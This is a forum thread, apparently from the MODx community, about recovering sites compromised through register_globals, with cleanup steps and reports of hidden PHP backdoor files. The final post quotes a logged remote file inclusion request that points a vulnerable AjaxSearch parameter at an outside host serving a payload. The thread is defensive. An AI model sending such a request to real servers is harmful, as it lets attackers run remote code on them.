Spammers/Hacker Issue

Assuming you can request turning off register_globals and they do it, then you can re-upload and be in good shape. Delete/rename the reference snippets too.

I’ve requested that they turn off register globals. I’m still waiting on the response. Thanks.

I’ve just migrated / reinstalled a new version of MODx for a customer who got hacked at his old host, and noticed php files in /assets/images/

called sy.php, system.php, time.php

Hackers seem to be getting clever these days and have even encrypted their php files.

I would definitly recommend if your site has been compromised to download all your files as a backup and install modx again in upgrade mode.

Upgrade or clean install?

For the site I just did i copied over /manager/includes/config.inc.php

Uploaded the same version of MODx in use and placed the config file in /manager/includes/

Upload your assets/images & assets/templates (make sure you have removed any .php files)

Go to your website address and you should be prompted to install MODx when it asks you select upgrade and follow the instructions, I also choose not to reinstall the snippets during the install.

Aaron

Appreciate the input!!!

Quote from: Onesmarthost at Dec 03, 2008, 02:05 PM

For the site I just did i copied over /manager/includes/config.inc.php

Uploaded the same version of MODx in use and placed the config file in /manager/includes/

Upload your assets/images & assets/templates (make sure you have removed any .php files)

Go to your website address and you should be prompted to install MODx when it asks you select upgrade and follow the instructions, I also choose not to reinstall the snippets during the install.

Aaron

It’s very likely that what you did is fine. I’m a paranoid kind of guy, though, and thought I’d comment.

The process you describe assumes that your DB is untouched and that you’ve ferreted out every one of the uploaded .php files, which would take a very careful search of the site. There haven’t been any reports of DB hacking in this exploit, but I’d take a close look at the DB anyway to be sure. I’d also have a look at .htaccess and php.ini if they’re there.

I’d also change my admin user name and password and my DB username and password. Then I’d download the whole assets directory, wipe out all files in the site, and then do the uploade/install after looking carefully at all the files in the assets directory before putting them back.

Just my $.02.

Sorry I forgot to mention that.

1. DB was exported along with page contents being checked for anything untowards.
2. New DB Created with new user name and password, old database imported
3. Website downloaded as a backup
4. Clean version of MODx Uploaded
5. config.inc.php was checked for any bad code and re-uploaded to /manager/includes
6. re uploaded asset/images + asset/templates after checking no php files existed within these folder
7. MODX Installer ran selecting upgrade.
8. Admin login password changed.
9. Check for any other new admin accounts etc in MODx manager.

Doing the above which I did earlier ensures your new install of MODx is squeaky clean, just to confirm I wasnt fixing someones hacked site on onesmarthost this was a new customers site who got fed up with their existing ISP not supporting them very well so i moved their site over to Onesmarthost

Aaron.

Had a hacker trying to attack my site via /assets/snippets/AjaxSearch/includes/AjaxSearch.inc.php?reflect_base=http://ratemypic.technophobiac.com/pics/Rfiid.txt? HTTP/1.1

Server firewall blocked it but check out the URL at the end of the command line http://ratemypic.technophobiac.com/pics/Rfiid.txt?

Just making anyone aware but looks like this issue is known about

Cheers